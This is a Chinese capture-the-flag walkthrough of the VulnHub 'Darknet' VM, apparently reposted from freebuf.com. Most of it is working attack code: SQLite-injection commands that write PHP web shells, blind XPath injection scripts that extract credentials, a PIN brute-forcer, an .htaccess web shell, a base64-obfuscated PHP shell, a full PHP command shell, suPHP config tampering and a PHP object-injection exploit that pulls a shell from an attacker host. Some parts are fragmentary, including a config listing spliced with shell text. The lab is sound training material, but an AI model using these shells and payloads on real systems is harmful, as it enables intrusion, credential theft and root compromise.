下载地址
注:只能使用vmbox打开,新增一张网卡修改为桥接模式
https://download.vulnhub.com/darknet/Darknet.rar
实战演练
查找靶机IP
扫描靶机开放了那些端口
首先,我们先看看80端口,浏览器打开,页面没有什么东西









'"1,就会报错

SELECT * FROM users WHERE user='<INJECT>' and pass='<MD5 OF PASS>'
现在我们要绕过去就必须符合这样的sql构造
SELECT * FROM users WHERE user='a user' or '1' and pass='<MD5 OF PASS>'
现在我们就需要找一个数据库存在的用户,不然就会提示错误,还记得我们之前的apache的配置文件吗,里面有一个邮箱名,我们就用这个用户名试试


根目录的问题在apache的配置文件已经有了/home/devnull/public_html/,一般可写的目录是img目录

ATTACH DATABASE '/home/devnull/public_html/img/phpinfo.php' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) VALUES ('<?php phpinfo(); ?>');

再构造语句查询系统信息
ATTACH DATABASE '/home/devnull/public_html/img/files.php' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) VALUES ("<?php if($_GET['a'] == 'ls') { print_r(scandir($_GET['p'])); } if($_GET['a'] == 'cat') { print_r(readfile($_GET['p'])); } ?>");
我们找到了另外一个域名配置文件



http://signal8.darknet.com/contact.php?id=1,输入单引号会显示不同页面,可能存在SQL注入,不过测试发现没有注入
爆破一下目录,找到了rebots.txt


/usr/share/wordlists/wfuzz/Injections/All_attack.txt


import requests
import string
import sys
entry_point = 'http://signal8.darknet.com/contact.php'
payloads = {
# . == current node and .. == parent node
'CurrentNode': '1 and starts-with(name(.),"{exfil}")=1',
'ParentNode': '1 and starts-with(name(..),"{exfil}")=1',
}
def w(t):
sys.stdout.write(t)
sys.stdout.flush()
for payload_type, payload in payloads.iteritems():
w("\n{}: ".format(payload_type))
stop = False
exfil = ''
while not stop:
stop = True
for char in string.printable:
r = requests.get(
entry_point, params={
'id': payload.format(exfil=(exfil + char))
})
if 'darknet.com' in r.text:
exfil += char
w(char)
stop = False
print "\nDone"
执行脚本,定XML具有以下结构//auth/user
确定后,我发现了一个名为“用户名”的新元素,但找不到名为“密码”的元素。再次查看登录表单后,我发现输入字段上的提示是西班牙语。使用字典进行爆破,我发现密码字段被命名为“ clave”。
import requests
import string
import sys
entry_point = 'http://signal8.darknet.com/contact.php'
payload = '1 and starts-with(name(//auth/user[id=1]/{word}),"{word}")=1'
with open('/usr/share/wfuzz/wordlist/general/spanish.txt') as f:
for word in f.readlines():
word = word.strip()
r = requests.get(entry_point, params={'id': payload.format(word=word)})
if 'darknet.com' in r.text:
print 'Found attribute: {word}'.format(word=word)
root@kali:/tmp# python 2.py
Found attribute: clave
Found attribute: id
下面获取用户名和密码,我们找到用户名和密码组合为errorlevel/ tc65Igkq6DF。
root@kali:/tmp# cat 1.py
import requests
import string
import sys
entry_point = 'http://signal8.darknet.com/contact.php'
payloads = {
'username': '1 and starts-with((//auth/user[id=1]/username),"{exfil}")=1',
'password': '1 and starts-with((//auth/user[id=1]/clave),"{exfil}")=1',
}
def w(t):
sys.stdout.write(t)
sys.stdout.flush()
for payload_type, payload in payloads.iteritems():
w("\n{}: ".format(payload_type))
stop = False
exfil = ''
while not stop:
stop = True
for char in string.printable:
r = requests.get(
entry_point, params={
'id': payload.format(exfil=(exfil + char))
})
if 'darknet.com' in r.text:
exfil += char
w(char)
stop = False
print "\nDone"
root@kali:/tmp# python 1.py
username: errorlevel
password: tc65Igkq6DF
Done
登录进去之后,有个ediit的页面超链接,过去之后是404


ploy.php,我遇到了文件上传和一系列复选框打勾的情况。


import requests
import itertools
import sys
VALUES = [37, 12, 59, 58, 72, 17, 22, 10, 99]
PIN = None
s = requests.Session()
def w(text):
sys.stdout.write('\r' + text)
sys.stdout.flush()
# Need a valid session before we can continue.
print('[+] Logging in')
s.post('http://signal8.darknet.com/xpanel/index.php', data={
'username': 'errorlevel',
'password': 'tc65Igkq6DF',
})
print('[+] Bruting PIN Code ...')
for c in itertools.permutations(VALUES, 4):
w("{pin}".format(pin=', '.join(map(str, c))))
r = s.post('http://signal8.darknet.com/xpanel/ploy.php',
files={'imag': open('test_image.png', 'rb')},
data={
'checkbox[]': c,
'Action': 'Upload',
})
if 'incorrecta' not in r.text:
print('\n[+] Found pin: {pin}'.format(pin=', '.join(map(str, c))))
break
root@kali:/tmp# python 3.py
[+] Logging in
[+] Bruting PIN Code ...
37, 10, 59, 17
[+] Found pin: 37, 10, 59, 17
所以密码是37, 10, 59, 17
下一步显然是尝试弄清楚我们如何能够利用此文件上载(如果有的话)。文件上传似乎接受大多数以.php结尾的上传。上载PHP脚本将返回错误Formato invalido!像图片(或几乎所有没有用的东西)之类的东西响应了Subida exitosa!
我爆破出了一个uploads/目录,最终,我遇到了一些涉及.htaccess文件的PHP文件上传绕过技术。前提是,如果可以写入/覆盖文件夹.htaccess,则可以在文件夹中webshell。唯一真正的要求是VirtualHost配置必须允许.htaccess读取文件。由于我已经下载了signal8.darknet.com的配置文件,因此我很快就能看到将AllowOverride其设置为All。
#.htaccess
# <!-- Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com
# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
# Uncomment the line below for Apache2.4 and newer
# Require all granted
Order allow,deny
Allow from all
</Files>
# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess
###### SHELL ###### <?php echo "--><form method='get'><input type='text' name='c' value='".$_GET['c']."'><input type='submit' name='go' value='Go!'></form>\n<pre>";passthru($_GET['c']." 2>&1");echo "</pre>"; ?>
exp
import requests
import sys
import os.path as path
s = requests.Session()
def w(text):
sys.stdout.write('\r' + text)
sys.stdout.flush()
print('[+] Logging in ...')
s.post('http://signal8.darknet.com/xpanel/index.php', data={
'username': 'errorlevel',
'password': 'tc65Igkq6DF',
})
print('[+] Uploading : {file}'.format(file=sys.argv[1]))
r = s.post('http://signal8.darknet.com/xpanel/ploy.php',
files={'imag': open(sys.argv[1], 'rb')},
data={
'checkbox[]': [37, 10, 59, 17],
'Action': 'Upload',
})
if 'Subida exitosa' in r.text:
print('[+] Upload successful! Try: http://signal8.darknet'
'.com/xpanel/uploads/{file}'.format(file=path.basename(sys.argv[1])))
elif 'Formato invalido' in r.text:
print('[!] Upload failed. Invalid format.')
else:
print('[!] Upload failed, unknown error.')
root@kali:/tmp# python 4.py .htaccess
[+] Logging in ...
[+] Uploading : .htaccess
[+] Upload successful! Try: http://signal8.darknet.com/xpanel/uploads/.htaccess
由于执行函数被禁止了,所以执行不了

# <!-- Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com
# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
# Uncomment the line below for Apache2.4 and newer
# Require all granted
Order allow,deny
Allow from all
</Files>
# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess
###### SHELL ###### --><?php eval(base64_decode("QCRhY3Rpb24gPSAkX1JFUVVFU1RbJ2FjdGlvbiddO0AkcGF0aCA9ICRfUkVRVUVTVFsncGF0aCddO2Z1bmN0aW9uIGZpbGVfcnd4KCRmaWxlKXsgJHBlcm1zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmaWxlKSksIC00KTsgJHJ3eCA9IFsnLS0tJywgJy0teCcsICctdy0nLCAnLXd4JywgJ3ItLScsICdyLXgnLCAncnctJywgJ3J3eCddOyAkdHlwZSA9IGlzX2RpcigkZmlsZSkgPyAnZCcgOiAnLSc7ICRvd25lciA9ICRwZXJtc1sxXTsgJGdyb3VwID0gJHBlcm1zWzJdOyAkcHVibGljID0gJHBlcm1zWzNdOyByZXR1cm4gJHR5cGUgLiAkcnd4WyRvd25lcl0gLiAkcnd4WyRnc**1cF0gLiAkcnd4WyRwdWJsaWNdI**gJyAnI**gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRmaWxlKSlbJ25hbWUnXTt9ZnVuY3Rpb24gbWVudSgpeyBwcmludCAnPHByZT4nI**gZ2V0X2N1cnJlbnRfdXNlcigpI**gJyBAICcgLiBwaHBfdW5hbWUoKSAuIFBIUF9FT0wgLiAnKG1lbnUpIDxhIGhyZWY9JyAuICRfU0VSVkVSWydQSFBfU0VMRiddI**gJz9hY3Rpb249bHMmcGF0aD0vPmxzPC9hPiB8JyAuICcgPGEgaHJlZj0nI**gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2FjdGlvbj1jYXQmcGF0aD0vZXRjL3Bhc3N3ZD5jYXQ8L2E+IHwnI**gJyA8YSBocmVmPScgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/YWN0aW9uPXVwbG9hZD51cGxvYWQ8L2E+IHwnI**gJyA8YSBocmVmPScgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/YWN0aW9uPXBocGluZm8+cGhwaW5mbzwvYT4gfCcgLiAnIDxhIGhyZWY9JyAuICRfU0VSVkVSWydQSFBfU0VMRiddI**gJz9hY3Rpb249aW5mbz5pbmZvPC9hPiB8JyAuICcgPGEgaHJlZj0nI**gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2FjdGlvbj1ldmFsJnNyYz1wcmludCtwaHBfdW5hbWUlMjglMjklM0I+ZXZhbDwvYT4gfCcgLiAnIDxhIGhyZWY9JyAuICRfU0VSVkVSWydQSFBfU0VMRiddI**gJz9hY3Rpb249ZXhlYyZjbWQ9aWQ+ZXhlYzwvYT4nI**gJzwvcHJlPic7fXN3aXRjaCAoJGFjdGlvbikgeyBjYXNlICdscyc6ICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsgJGZpbGVzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRwYXRoKSwgWycuJywgJy4uJ10pOyBtZW51KCk7IGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgeyAkbG9jYXRpb24gPSAkcGF0aCAuICRmaWxlOyBpZiAoaXNfZGlyKCRsb2NhdGlvbikpIHsgJHVybF9hY3Rpb24gPSAnbHMnOyAkbG9jYXRpb24gPSBydHJpbSgkbG9jYXRpb24sICcvJykgLiAnLyc7IH0gZWxzZSB7ICR1cmxfYWN0aW9uID0gJ2NhdCc7IH0gJHdyaXRhYmxlID0gaXNfd3JpdGFibGUoJGxvY2F0aW9uKSA/ICdncmVlbicgOiAncmVkJzsgJHJlYWRhYmxlID0gaXNfcmVhZGFibGUoJGxvY2F0aW9uKSA/ICdncmVlbicgOiAncmVkJzsgaWYgKCRyZWFkYWJsZSA9PSAnZ3JlZW4nIGFuZCAhaXNfZGlyKCRsb2NhdGlvbikpICRkb3dubG9hZCA9ICc8YSBocmVmPScgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/YWN0aW9uPWRvd25sb2FkJnBhdGg9JyAuIHVybGVuY29kZSgkbG9jYXRpb24pI**gJz5Eb3dubG9hZDwvYT48L3NwYW4+JzsgZWxzZSAkZG93bmxvYWQgPSAnRG93bmxvYWQnOyBwcmludCAnPHByZT4nOyBwcmludCAnPHNwYW4gc3R5bGU9XCdjb2xvcjonI**gJHdyaXRhYmxlI**gJ1wnPldyaXRlPC9zcGFuPiAnI**gJzxzcGFuIHN0eWxlPVwnY29sb3I6JyAuICRyZWFkYWJsZSAuICdcJz5SZWFkPC9zcGFuPiB8ICcgLiAkZG93bmxvYWQgLiAnIHwgJyAuIGZpbGVfcnd4KCRsb2NhdGlvbikgLiAnIHwgJyAuIGRhdGUoJ00gZCBZIEg6aTpzJywgZmlsZWN0aW1lKCRsb2NhdGlvbikpI**gJyA8YSBocmVmPScgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/YWN0aW9uPScgLiAkdXJsX2FjdGlvbiAuICcmcGF0aD0nI**gdXJsZW5jb2RlKCRsb2NhdGlvbikgLiAnPicgLiAkbG9jYXRpb24gLiAnPC9hPic7IHByaW50ICc8L3ByZT4nOyB9IHJldHVybjsgY2FzZSAnY2F0JzogJGZpbGUgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7IG1lbnUoKTsgcHJpbnQgJzxwcmU+JyAuICRmaWxlI**gJzwvcHJlPic7IHJldHVybjsgY2FzZSAndXBsb2FkJzogQCRmaWxlID0gJF9GSUxFU1snZmlsZSddOyAkbWVzc2FnZSA9IG51bGw7IGlmICgkZmlsZSkgeyBtb3ZlX3VwbG9hZGVkX2ZpbGUoJGZpbGVbJ3RtcF9uYW1lJ10sICRwYXRoKTsgJG1lc3NhZ2UgPSAnVXBsb2FkZWQgZmlsZSB0bzogPGEgaHJlZj0nI**gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2FjdGlvbj0nI**gJ2NhdCZwYXRoPScgLiB1cmxlbmNvZGUoJHBhdGgpI**gJz4nI**gJHBhdGggLiAnPC9hPic7IH0gbWVudSgpOyBwcmludCAnPGZvcm0gYWN0aW9uPSInI**gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2FjdGlvbj11cGxvYWQiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+ICcgLiAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiPicgLiAnRnVsbCBEZXN0aW5hdGlvbiBQYXRoICYgRmlsZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhdGgiPicgLiAnPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7IHByaW50ICRtZXNzYWdlOyByZXR1cm47IGNhc2UgJ2Rvd25sb2FkJzogaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOyBoZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IEJpbmFyeScpOyBoZWFkZXIoJ0NvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInI**gYmFzZW5hbWUoJHBhdGgpI**gJyInKTsgZWNobyByZWFkZmlsZSgkcGF0aCk7IHJldHVybjsgY2FzZSAncGhwaW5mbyc6IG1lbnUoKTsgcGhwaW5mbygpOyByZXR1cm47IGNhc2UgJ2luZm8nOiBtZW51KCk7IHByaW50ICc8cHJlPic7IHByaW50ICdFbnZpc**ubWVudCcgLiBQSFBfRU9MOyBwcmludCAnQ3VycmVudCBVc2VyOiAnI**gZ2V0X2N1cnJlbnRfdXNlcigpI**gUEhQX0VPTDsgcHJpbnQgJ1BIUCBWZXJzaW9uOiAnI**gcGhwdmVyc2lvbigpI**gUEhQX0VPTDsgcHJpbnQgJ0xvYWRlZCBDb25maWc6ICcgLiBwaHBfaW5pX2xvYWRlZF9maWxlKCkgLiBQSFBfRU9MOyBwcmludCAnUEhQIFNBUEk6ICcgLiBwaHBfc2FwaV9uYW1lKCkgLiBQSFBfRU9MOyBwcmludCAnVW5hbWU6ICcgLiBwaHBfdW5hbWUoKSAuIFBIUF9FT0w7IHByaW50ICcnI**gUEhQX0VPTDsgcHJpbnQgJ0NvbmZpZ3VyYXRpb24nI**gUEhQX0VPTDsgcHJpbnQgJ09wZW4gQmFzZWRpcjogJyAuIGluaV9nZXQoJ29wZW5fYmFzZWRpcicpI**gUEhQX0VPTDsgcHJpbnQgJ0Rpc2FibGUgQ2xhc3NlczogJyAuIGluaV9nZXQoJ2Rpc2FibGVfY2xhc3NlcycpI**gUEhQX0VPTDsgcHJpbnQgJ0Rpc2FibGUgRnVuY3Rpb25zOiAnI**gaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSAuIFBIUF9FT0w7IHByaW50ICdVUkwgZ**wZW46ICcgLiBpbmlfZ2V0KCdhbGxvd191cmxfZ**wZW4nKSAuIFBIUF9FT0w7IHByaW50ICdVUkwgSW5jbHVkZTogJyAuIGluaV9nZXQoJ2FsbG93X3VybF9pbmNsdWRlJykgLiBQSFBfRU9MOyBwcmludCAnRmlsZSBVcGxvYWRzOiAnI**gaW5pX2dldCgnZmlsZV91cGxvYWRzJykgLiBQSFBfRU9MOyBwcmludCAnPC9wcmU+JzsgcmV0dXJuOyBjYXNlICdldmFsJzogQCRzcmMgPSAkX1JFUVVFU1RbJ3NyYyddOyBtZW51KCk7IHByaW50ICc8Z**ybSBhY3Rpb249IicgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/YWN0aW9uPWV2YWwiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+ICcgLiAnUEhQIENvZGU6IDxicj48dGV4dGFyZWEgbmFtZT0ic3JjIiByb3dzPSIxMCIgY29scz0iNzAiPicgLiAkc3JjI**gJzwvdGV4dGFyZWE+PGJyPicgLiAnPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkV2YWx1YXRlIFBIUCI+PC9mb3JtPic7IGlmICghZW1wdHkoJHNyYykpIHsgcHJpbnQgJzxwcmU+RXZhbCBPdXRwdXQ6PGJyPic7IGV2YWwoJHNyYyk7IHByaW50ICc8L3ByZT4nOyB9IHJldHVybjsgY2FzZSAnZXhlYyc6IEAkY21kID0gJF9SRVFVRVNUWydjbWQnXTsgbWVudSgpOyBwcmludCAnPGZvcm0gYWN0aW9uPSInI**gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2FjdGlvbj1leGVjIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPiAnI**gJ1N5c3RlbSBDb21tYW5kOiA8YnI+PHRleHRhcmVhIG5hbWU9ImNtZCIgc**3cz0iMTAiIGNvbHM9IjcwIj4nI**gJGNtZCAuICc8L3RleHRhcmVhPjxicj4nI**gJzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSdW4iPjwvZ**ybT4nOyBpZiAoIWVtcHR5KCRjbWQpKSB7IHByaW50ICc8cHJlPkNvbW1hbmQgT3V0cHV0Ojxicj4nOyBpZiAoY2xhc3NfZXhpc3RzKCdSZWZsZWN0aW9uRnVuY3Rpb24nKSkgeyAkZnVuY3Rpb24gPSBuZXcgUmVmbGVjdGlvbkZ1bmN0aW9uKCdzeXN0ZW0nKTsgJGZ1bmN0aW9uLT5pbnZva2UoJGNtZCk7IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2NhbGxfdXNlcl9mdW5jX2FycmF5JykpIHsgY2FsbF91c2VyX2Z1bmNfYXJyYXkoJ3N5c3RlbScsIFskY21kXSk7IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2NhbGxfdXNlcl9mdW5jJykpIHsgY2FsbF91c2VyX2Z1bmMoJ3N5c3RlbScsICRjbWQpOyB9IGVsc2UgeyBzeXN0ZW0oJGNtZCk7IH0gcHJpbnQgJzwvcHJlPic7IH0gcmV0dXJuOyBkZWZhdWx0OiBtZW51KCk7IHJldHVybjt9"));
最终,我发现使用suPHP作为已加载的模块。这基本上意味着PHP脚本将以文件所有者的身份运行。因此,以该理论为前提,理智地假定由于errorlevel在用户主目录中拥有PHP文件,因此我也被视为该用户。
无论如何,稍后再进行一些枚举,我在中发现了更多PHP脚本/var/www。这些文件归拥有root,意味着如果有任何漏洞,我可以有效地扎根!

/var/www,因此我可以浏览到VM的IP地址并运行这些脚本。调用sec.php脚本导致服务器返回HTTP 500错误。
#sec.php
<?php
require "Classes/Test.php";
require "Classes/Show.php";
if(!empty($_POST['test'])){
$d=$_POST['test'];
$j=unserialize($d);
echo $j;
}
?>
#Test.php
<?php
class Test {
public $url;
public $name_file;
public $path;
function __destruct(){
$data=file_get_contents($this->url);
$f=fopen($this->path."/".$this->name_file, "w");
fwrite($f, $data);
fclose($f);
chmod($this->path."/".$this->name_file, 0644);
}
}
?>
#show.php
<?php
class Show {
public $woot;
function __toString(){
return "Showme";
}
function Pwnme(){
$this->woot="ROOT";
}
}
?>
一个PHP对象注入的教科书示例!我继续Show通过将类复制到新的PHP文件,实例化Show该类并serialize()在其上运行该函数,输出输出来序列化该类的实例。
// Source code for poishow.php
<?php
class Show {
public $woot;
function __toString(){
return "Showme";
}
function Pwnme(){
$this->woot="ROOT";
}
}
print_r(serialize(new Show()));
root@kali:/tmp# php show.php
// Source code for poishow.php
O:4:"Show":1:{s:4:"woot";N;}
我现在可以使用一些东西来尝试测试该漏洞。对于Show该类,我们将利用__toString()在sec.php调用echo包含未序列化对象的变量时定义的方法。我编写了另一个python帮助程序,以将序列化的对象sec.php作为POST参数发送.
import requests
OBJECT = """O:4:"Show":1:{s:4:"woot";N;}"""
print('[+] Exploiting the PHP Object Injection Bug')
r = requests.post('http://192.168.0.100/sec.php', data={'test': OBJECT})
print(r.status_code)
print(r.text)
运行此命令会使服务器仍然响应HTTP 500错误。

/etc/suphp发现它的配置文件是可写的。
root@kali:~/Downloads# cat suphp.conf
# <!-- Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com
# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
# Uncomment the line below for Apache2.4 and newer
# Require all granted
Order allow,deny
Allow from all
</Files>
# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess
###### SHELL ###### -->[global]
;Path to logfile
logfile=/var/log/suphp/suphp.log
;Loglevel
loglevel=info
;User Apache is running as
webserver_user=www-data
;Path all scripts have to be in
docroot=/var/www:${HOME}/public_html
;Path to chroot() to before executing script
;chroot=/mychroot
; Security options
allow_file_group_writeable=false
allow_file_others_writeable=false
allow_directory_group_writeable=false
allow_directory_others_writeable=false
;Check wheter script is within DOCUMENT_ROOT
check_vhost_docroot=true
;Send minor error messages to browser
errors_to_browser=false
;PATH environment variable
env_path="/bin:/usr/bin"
;Umask to set, specify in octal notation
umask=0077
; Minimum UID
min_uid=100
; Minimum GID
min_gid=100
[handlers]
;Handler for php-scripts
application/x-httpd-suphp="php:/usr/bin/php-cgi"
;Handler for CGI-scripts
x-suphp-cgi="execute:!self"
我意识到配置文件中还有两个有趣的配置选项。
; Minimum UID
min_uid=100
; Minimum GID
min_gid=100
还记得我们尝试访问的PHP脚本归谁所有root吗?事实证明,这是suPHP的一项安全功能,可以防止具有较高权限的脚本无法运行。因此,我再次修改配置文件以将其替换为值,0并上传它以覆盖原始文件。

ATTACH DATABASE '/home/devnull/public_html/img/shell.php' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) values ("<?php error_reporting(E_ALL); ini_set('display_errors',1); ini_set('disable_functions',0); echo(shell_exec($_GET['c']));?>");
但是请注意我们现在如何获得错误消息!
在网上进行了一些进一步的研究后,我发现了一个提示,即可以将新的php.ini文件放入php文件加载目录(在这种情况下,是/ home / devnull / public_html / img /)。 。
因此,我尝试在此处放置一个空的php.ini:
ATTACH DATABASE '/home/devnull/public_html/img/php.ini' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) values ("");

cp /etc/suphp/suphp.conf /tmp
cp /tmp/suphp.conf /tmp/suphp.conf_bak
sed -i -e 's/min_uid=100/min_uid=0/g' /tmp/suphp.conf
sed -i -e 's/min_gid=100/min_gid=0/g' /tmp/suphp.conf
cp /tmp/suphp.conf /etc/suphp/suphp.conf



#shell.txt
<?php
@$action = $_REQUEST['action'];
@$path = $_REQUEST['path'];
function file_rwx($file)
{
$perms = substr(sprintf('%o', fileperms($file)), -4);
$rwx = ['---', '--x', '-w-', '-wx', 'r--', 'r-x', 'rw-', 'rwx'];
$type = is_dir($file) ? 'd' : '-';
$owner = $perms[1];
$group = $perms[2];
$public = $perms[3];
return $type . $rwx[$owner] . $rwx[$group] . $rwx[$public] . ' ' .
posix_getpwuid(fileowner($file))['name'];
}
function menu()
{
print '<pre>' . get_current_user() . ' @ ' . php_uname() . PHP_EOL .
'(menu) <a href=' . $_SERVER['PHP_SELF'] . '?action=ls&path=/>ls</a> |' .
' <a href=' . $_SERVER['PHP_SELF'] . '?action=cat&path=/etc/passwd>cat</a> |' .
' <a href=' . $_SERVER['PHP_SELF'] . '?action=upload>upload</a> |' .
' <a href=' . $_SERVER['PHP_SELF'] . '?action=phpinfo>phpinfo</a> |' .
' <a href=' . $_SERVER['PHP_SELF'] . '?action=info>info</a> |' .
' <a href=' . $_SERVER['PHP_SELF'] . '?action=eval&src=print+php_uname%28%29%3B>eval</a> |' .
' <a href=' . $_SERVER['PHP_SELF'] . '?action=exec&cmd=id>exec</a>' .
'</pre>';
}
switch ($action) {
case 'ls':
$path = $_GET['path'];
$files = array_diff(scandir($path), ['.', '..']);
menu();
foreach ($files as $file) {
$location = $path . $file;
if (is_dir($location)) {
$url_action = 'ls';
$location = rtrim($location, '/') . '/';
} else {
$url_action = 'cat';
}
$writable = is_writable($location) ? 'green' : 'red';
$readable = is_readable($location) ? 'green' : 'red';
if ($readable == 'green' and !is_dir($location))
$download = '<a href=' . $_SERVER['PHP_SELF'] .
'?action=download&path=' . urlencode($location) .
'>Download</a></span>';
else
$download = 'Download';
print '<pre>';
print '<span style=\'color:' . $writable . '\'>Write</span> ' .
'<span style=\'color:' . $readable . '\'>Read</span> | ' .
$download . ' | ' .
file_rwx($location) . ' | ' . date('M d Y H:i:s', filectime($location)) .
' <a href=' . $_SERVER['PHP_SELF'] . '?action=' .
$url_action . '&path=' . urlencode($location) . '>' . $location .
'</a>';
print '</pre>';
}
return;
case 'cat':
$file = file_get_contents($path);
menu();
print '<pre>' . $file . '</pre>';
return;
case 'upload':
@$file = $_FILES['file'];
$message = null;
if ($file) {
move_uploaded_file($file['tmp_name'], $path);
$message = 'Uploaded file to: <a href=' . $_SERVER['PHP_SELF'] . '?action=' .
'cat&path=' . urlencode($path) . '>' . $path . '</a>';
}
menu();
print '<form action="' . $_SERVER['PHP_SELF'] .
'?action=upload" method="post" enctype="multipart/form-data"> ' .
'<input type="file" name="file">' .
'Full Destination Path & File: <input type="text" name="path">' .
'<input type="submit" value="Upload"></form>';
print $message;
return;
case 'download':
header('Content-Type: application/octet-stream');
header('Content-Transfer-Encoding: Binary');
header('Content-disposition: attachment; filename="' . basename($path) . '"');
echo readfile($path);
return;
case 'phpinfo':
menu();
phpinfo();
return;
case 'info':
menu();
print '<pre>';
print 'Environment' . PHP_EOL;
print 'Current User: ' . get_current_user() . PHP_EOL;
print 'PHP Version: ' . phpversion() . PHP_EOL;
print 'Loaded Config: ' . php_ini_loaded_file() . PHP_EOL;
print 'PHP SAPI: ' . php_sapi_name() . PHP_EOL;
print 'Uname: ' . php_uname() . PHP_EOL;
print '' . PHP_EOL;
print 'Configuration' . PHP_EOL;
print 'Open Basedir: ' . ini_get('open_basedir') . PHP_EOL;
print 'Disable Classes: ' . ini_get('disable_classes') . PHP_EOL;
print 'Disable Functions: ' . ini_get('disable_functions') . PHP_EOL;
print 'URL fopen: ' . ini_get('allow_url_fopen') . PHP_EOL;
print 'URL Include: ' . ini_get('allow_url_include') . PHP_EOL;
print 'File Uploads: ' . ini_get('file_uploads') . PHP_EOL;
print '</pre>';
return;
case 'eval':
@$src = $_REQUEST['src'];
menu();
print '<form action="' . $_SERVER['PHP_SELF'] .
'?action=eval" method="post" enctype="multipart/form-data"> ' .
'PHP Code: <br><textarea name="src" rows="10" cols="70">' . $src . '</textarea><br>' .
'<input type="submit" value="Evaluate PHP"></form>';
if (!empty($src)) {
print '<pre>Eval Output:<br>';
eval($src);
print '</pre>';
}
return;
case 'exec':
@$cmd = $_REQUEST['cmd'];
menu();
print '<form action="' . $_SERVER['PHP_SELF'] .
'?action=exec" method="post" enctype="multipart/form-data"> ' .
'System Command: <br><textarea name="cmd" rows="10" cols="70">' . $cmd . '</textarea><br>' .
'<input type="submit" value="Run"></form>';
if (!empty($cmd)) {
print '<pre>Command Output:<br>';
if (class_exists('ReflectionFunction')) {
$function = new ReflectionFunction('system');
$function->invoke($cmd);
} elseif (function_exists('call_user_func_array')) {
call_user_func_array('system', [$cmd]);
} elseif (function_exists('call_user_func')) {
call_user_func('system', $cmd);
} else {
system($cmd);
}
print '</pre>';
}
return;
default:
menu();
return;
}
#show.php
<?php
class Show {
public $woot;
function __toString(){
return "Showme";
}
function Pwnme(){
$this->woot="ROOT";
}
}
class Test {
public $url;
public $name_file;
public $path;
function __destruct(){
# Commented out as this will run when this script
# also finishes :D
#$data=file_get_contents($this->url);
#$f=fopen($this->path."/".$this->name_file, "w");
#fwrite($f, $data);
#fclose($f);
#chmod($this->path."/".$this->name_file, 0644);
}
}
$test = new Test();
$test->url = 'http://192.168.0.106/shell.txt';
$test->name_file = 'shell.php';
$test->path = '/var/www';
print_r(serialize([$test, new Show()]));
root@kali:/var/www/html# php show.php
a:2:{i:0;O:4:"Test":3:{s:3:"url";s:30:"http://192.168.0.106/shell.txt";s:9:"name_file";s:9:"shell.php";s:4:"path";s:8:"/var/www";}i:1;O:4:"Show":1:{s:4:"woot";N;}}
下面是exp
root@kali:/tmp# cat 22.py
import requests
OBJECT = """a:2:{i:0;O:4:"Test":3:{s:3:"url";s:30:"http://192.168.0.106/shell.txt";s:9:"name_file";s:9:"shell.php";s:4:"path";s:8:"/var/www";}i:1;O:4:"Show":1:{s:4:"woot";N;}}"""
print('[+] Exploiting the PHP Object Injection Bug')
r = requests.post('http://192.168.0.100/sec.php', data={'test': OBJECT})
print(r.status_code)
print(r.text)
root@kali:/tmp# python 22.py
[+] Exploiting the PHP Object Injection Bug
200
Array
FLAG
来源:freebuf.com 2019-11-15 17:58:55 by: 陌度










